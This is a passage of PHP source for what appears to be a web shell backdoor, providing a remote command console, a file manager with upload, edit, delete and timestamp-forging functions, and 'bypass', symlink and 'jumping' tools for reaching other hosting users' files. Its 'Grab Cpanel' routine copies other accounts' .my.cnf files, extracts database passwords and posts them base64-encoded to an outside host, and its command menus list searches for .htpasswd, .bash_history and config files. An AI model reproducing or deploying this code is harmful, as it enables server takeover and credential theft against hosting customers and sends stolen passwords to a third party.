	echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
	echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
	if( empty($_POST[\'p2\']) )
		$_POST[\'p2\'] = \'view\';
	if( is_file($_POST[\'p1\']) )
		$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');
	else
		$m = array(\'Chmod\', \'Rename\', \'Touch\');
	foreach($m as $v)
		echo \'<a href=# onclick="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
	echo \'<br><br>\';
	switch($_POST[\'p2\']) {
		case \'view\':
			echo \'<pre class=ml1>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</pre>\';
			break;
		case \'highlight\':
			if( @is_readable($_POST[\'p1\']) ) {
				echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
				$oRb = @highlight_file($_POST[\'p1\'],true);
				echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';
			}
			break;
		case \'chmod\':
			if( !empty($_POST[\'p3\']) ) {
				$perms = 0;
				for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
					$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
				if(!@chmod($_POST[\'p1\'], $perms))
					echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';
			break;
		case \'edit\':
			if( !is_writable($_POST[\'p1\'])) {
				echo \'File isn\'t writeable\';
				break;
			}
			if( !empty($_POST[\'p3\']) ) {
				$time = @filemtime($_POST[\'p1\']);
				$_POST[\'p3\'] = substr($_POST[\'p3\'],1);
				$fp = @fopen($_POST[\'p1\'],"w");
				if($fp) {
					@fwrite($fp,$_POST[\'p3\']);
					@fclose($fp);
					echo \'Saved!<br><script>p3_="";</script>\';
					@touch($_POST[\'p1\'],$time,$time);
				}
			}
			echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</textarea><input type=submit value="submit"></form>\';
			break;
		case \'hexdump\':
			$c = @file_get_contents($_POST[\'p1\']);
			$n = 0;
			$h = array(\'00000000<br>\',\'\',\'\');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= \' \'; break;
					case 9:  $h[2] .= \' \'; break;
					case 10: $h[2] .= \' \'; break;
					case 13: $h[2] .= \' \'; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
					$h[1] .= \'<br>\';
					$h[2] .= "
";
				}
		 	}
			echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#000000><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
			break;
		case \'rename\':
			if( !empty($_POST[\'p3\']) ) {
				if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
					echo \'Can\'t rename!<br>\';
				else
					die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';
			break;
		case \'touch\':
			if( !empty($_POST[\'p3\']) ) {
				$time = strtotime($_POST[\'p3\']);
				if($time) {
					if(!touch($_POST[\'p1\'],$time,$time))
						echo \'Fail!\';
					else
						echo \'Touched!\';
				} else echo \'Bad time format!\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';
			break;
		/* () 12.2015 mitryz */
		case \'frame\':
			$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));
			if ($frameSrc[0] != \'/\')
				$frameSrc = \'/\' . $frameSrc;
			if ($frameSrc[strlen($frameSrc) - 1] != \'/\')
				$frameSrc = $frameSrc . \'/\';
			$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);
			echo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';
			break;
	}
	echo \'</div>\';
	hardFooter();
}
if($os == \'win\')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate \'.conf\'",
		"locate .pwd files" => "locate \'.pwd\'",
		"locate .sql files" => "locate \'.sql\'",
		"locate .htpasswd files" => "locate \'.htpasswd\'",
		"locate .bash_history files" => "locate \'.bash_history\'",
		"locate .mysql_history files" => "locate \'.mysql_history\'",
		"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);
function actionConsole() {
    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {
        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);
        $_POST[\'p1\'] .= \' 2>&1\';
    } elseif(!empty($_POST[\'p1\']))
        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);
	if(isset($_POST[\'ajax\'])) {
		prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);
		ob_start();
		echo "d.cf.cmd.value=\'\';
";
		$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS[\'cwd\'] = @getcwd();
				echo "c_=\'".$GLOBALS[\'cwd\']."\';";
			}
		}
		echo "d.cf.output.value+=\'".$temp."\';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		prototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);
	hardHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array(\'\');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push(\'\');
	cur = cmds.length-1;
}
</script>";
	echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>\';
	foreach($GLOBALS[\'aliases\'] as $n => $v) {
		if($v == \'\') {
			echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
			continue;
		}
		echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
	}
	echo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';
	if(!empty($_POST[\'p1\'])) {
		echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
	}
	echo \'</textarea><table style="border:1px solid #000000;background-color:#000000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';
	echo \'</form></div><script>d.cf.cmd.focus();</script>\';
	hardFooter();
}
function actionbypas() {
	hardHeader();
	echo "<center><h1>Bypass Tools</h1><div class=content><br>";
	
	echo"<th><a href=\'#\' onclick=\'g(\"passw\",null,\"s_name_".($sort[1]?0:1)."\")\'> [ Bypass: /etc/passwd ] </a></th><p>";
	echo"<th><a href=\'#\' onclick=\'g(\"disable\",null,\"s_name_".($sort[1]?0:1)."\")\'> [ Bypass: Disbaled Functions ] </a></th>";
	echo \'</div>\';
	hardFooter();
}
function actionSym() {
	hardHeader();
	echo "<center><h1>Symlink</h1><div class=content><br>";
	
	echo "<br><center>  <iframe src=\'?sym\' width=\'900\' height=\'300\'></iframe></a>";
	echo \'</div>\';
	hardFooter();
}
function actionpassw() {
	hardHeader();
	echo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";
	
	echo "<br><center>  <iframe src=\'?passwd\' width=\'900\' height=\'400\'></iframe></a>";
	echo \'</div>\';
	hardFooter();
}
function actiondisable() {
	hardHeader();
	echo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";
	echo "<br><center>  <iframe src=\'?disabled\' width=\'900\' height=\'300\'></iframe></a>";
	echo \'</div>\';
	hardFooter();
}
function actionPhp() {
	hardHeader();
	echo "<center><h1>Grab Cpanel</h1><div class=content><br>";
	 @ini_set(\'display_errors\', 0);
function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) {
    $ar0 = explode($marqueurDebutLien, $text);
    $ar1 = explode($marqueurFinLien, $ar0[$i]);
    return trim($ar1[0]);
}
echo \'<br><br>\';
echo \'<center>\';
$d0mains = @file(\'/etc/named.conf\');
$domains = scandir("/var/named");
if ($domains or $d0mains) {
    $domains = scandir("/var/named");
    if ($domains) {
        echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
        $count = 1;
        $dc = 0;
        $list = scandir("/var/named");
        foreach ($list as $domain) {
            if (strpos($domain, ".db")) {
                $domain = str_replace(\'.db\', \'\', $domain);
                $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
                $dirz = \'/home/\' . $owner[\'name\'] . \'/.my.cnf\';
                $path = getcwd();
                if (is_readable($dirz)) {
                    copy($dirz, \'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');
                    $p = file_get_contents(\'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');
                    $password = entre2v2($p, \'password="\', \'"\');
                    echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner[\'name\'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner[\'name\'] . ".txt target=_blank>Click Here</a></td></tr>";
                    $dc++;
                    $success3 = "http://" . $domain . "|" . $owner[\'name\'] . "|" . $password . "
";
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");
                    curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0\');
                    curl_setopt($ch, CURLOPT_POST, 1);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_HEADER, 1);
                    $buffer = curl_exec($ch);
                }
            }
        }
        echo \'</table>\';
        $total = $dc;
        echo \'</center>\';
    } else {
        $d0mains = @file(\'/etc/named.conf\');
        if ($d0mains) {
            echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
            $count = 1;
            $dc = 0;
            $mck = array();
            foreach ($d0mains as $d0main) {
                if (@eregi(\'zone\', $d0main)) {
                    preg_match_all(\'#zone "(.*)"#\', $d0main, $domain);
                    flush();
                    if (strlen(trim($domain[1][0])) > 2) {
                        $mck[] = $domain[1][0];
                    }
                }
            }
            $mck = array_unique($mck);
            $usr = array();
            $dmn = array();
            foreach ($mck as $o) {
                $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));
                $usr[] = $infos[\'name\'];
                $dmn[] = $o;
            }
            array_multisort($usr, $dmn);
            $dt = file(\'/etc/passwd\');
            $passwd = array();
            foreach ($dt as $d) {
                $r = explode(\':\', $d);
                if (strpos($r[5], \'home\')) {
                    $passwd[$r[0]] = $r[5];
                }
            }
            $l = 0;
            $j = 1;
            foreach ($usr as $r) {
                $dirz = \'/home/\' . $r . \'/.my.cnf\';
                $path = getcwd();
                if (is_readable($dirz)) {
                    copy($dirz, \'\' . $path . \'/\' . $r . \'.txt\');
                    $p = file_get_contents(\'\' . $path . \'/\' . $r . \'.txt\');
                    $password = entre2v2($p, \'password="\', \'"\');
                    echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . \'/>\' . $dmn[$j - 1] . \' </a></td><td valign=top class=style2 style=width: 139px>\' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href=\'" . $r . ".txt\' target=\'_blank\'>Click Here</a></td></tr>";
                    $dc++;
                    flush();
                    $l = $l ? 0 : 1;
                    $j++;
                }
            }
        }
        echo \'</table>\';
        $total = $dc;
        echo \'<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = \' . $total . \'</h3><br />\';
        echo \'</center>\';
    }
} else {
    echo "<div class=result><i><font color=#ff1111>ERROR</font><br><font color=#ff1111>/var/named</font> or <font color=#ff1111>etc/named.conf</font> Not Accessible!</i></div>";
}
	echo" </div>";
	hardFooter();
}
function actionReseller() {
	hardHeader();
	echo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";
	echo "<br><center>  <iframe src=\'?reseller\' width=\'900\' height=\'470\'></iframe></a>";
	echo \'</div>\';
	hardFooter();
}
function actionFilesMan() {
    if (!empty ($_COOKIE[\'f\']))
        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);
	if(!empty($_POST[\'p1\'])) {
		switch($_POST[\'p1\']) {
			case \'uploadFile\':
				if ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {
					foreach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {
                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {
                                echo "Can\'t upload file!";
							}
						}
					}
				break;
			case \'mkdir\':
				if(!@mkdir($_POST[\'p2\']))
					echo "Can\'t create new dir";
				break;
			case \'delete\':
				function deleteDir($path) {
					$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
					$dh  = opendir($path);
					while ( ($ = readdir($dh) ) !== false) {
						$ = $path.$;
						if ( (basename($) == "..") || (basename($) == ".") )
							continue;
						$type = filetype($);
						if ($type == "dir")
							deleteDir($);
						else
							@unlink($);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST[\'f\']))
					foreach($_POST[\'f\'] as $f) {
                        if($f == \'..\')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case \'paste\':
				if($_COOKIE[\'act\'] == \'copy\') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE[\'f\'] as $f)
						copy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);
				} elseif($_COOKIE[\'act\'] == \'move\') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE[\'f\'] as $f)
						@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);
				} elseif($_COOKIE[\'act\'] == \'zip\') {
					if(class_exists(\'ZipArchive\')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST[\'p2\'], 1)) {
                            chdir($_COOKIE[\'c\']);
                            foreach($_COOKIE[\'f\'] as $f) {
                                if($f == \'..\')
                                    continue;
                                if(@is_file($_COOKIE[\'c\'].$f))
                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);
                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS[\'cwd\']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE[\'act\'] == \'unzip\') {
					if(class_exists(\'ZipArchive\')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE[\'f\'] as $f) {
                            if($zip->open($_COOKIE[\'c\'].$f)) {
                                $zip->extractTo($GLOBALS[\'cwd\']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE[\'act\'] == \'tar\') {
                    chdir($_COOKIE[\'c\']);
                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);
                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));
                    chdir($GLOBALS[\'cwd\']);
				}
				unset($_COOKIE[\'f\']);
                setcookie(\'f\', \'\', time() - 3600);
				break;
			default:
                if(!empty($_POST[\'p1\'])) {
					prototype(\'act\', $_POST[\'p1\']);
					prototype(\'f\', serialize(@$_POST[\'f\']));
					prototype(\'c\', @$_POST[\'c\']);
				}
				break;
		}
	}
    hardHeader();
	echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';
	$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
	if($dirContent === false) {	echo \'Can\'t open this folder!\';hardFooter(); return; }
	global $sort;
	$sort = array(\'name\', 1);
	if(!empty($_POST[\'p1\'])) {
		if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == \'checkbox\')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array(\'name\' => $dirContent[$i],
					 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
					 \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),
					 \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),
					 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
					 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array(\'type\' => \'file\'));
		elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
		elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
	}
	$GLOBALS[\'sort\'] = $sort;
	function cmp($a, $b) {
		if($GLOBALS[\'sort\'][0] != \'size\')
			return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
		else
			return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
	}
	usort($files, "cmp");
	usort($dirs, "cmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
			.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
		$l = $l?0:1;
	}
	echo "<tr id=fak><td colspan=7>
	<input type=hidden name=ne value=\'\'>
	<input type=hidden name=a value=\'FilesMan\'>
	<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
	<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
	<label><select name=\'p1\'>";
	if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))
        echo "<option value=\'paste\'> Paste</option>";
	echo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";
    if(class_exists(\'ZipArchive\'))
        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";
    echo "<option value=\'tar\'>+ tar.gz</option>";
    echo "</select></label>";
    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))
        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";
    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";
	hardFooter();
}
function actionStringTools() {
	hardHeader();
	echo "<center><h1>Jumping :D</h1><div class=content><br>";
	$i = 0;
@ini_set(\'display_errors\', 0);
echo "<pre><div class=\'margin: 5px auto;\'>";
$etc = fopen("/etc/passwd", "r") or die("<font color=white>Can\'t read /etc/passwd</font>");
while ($passwd = fgets($etc)) {
    if ($passwd == \'\' || !$etc) {
        echo "<font color=white>Can\'t read /etc/passwd</font>";
    } else {
        preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);
        foreach ($user_jumping[1] as $user_khoer_jump) {
            $user_jumping_dir = "/home/$user_khoer_jump/public_html";
            if (is_readable($user_jumping_dir)) {
                $i++;
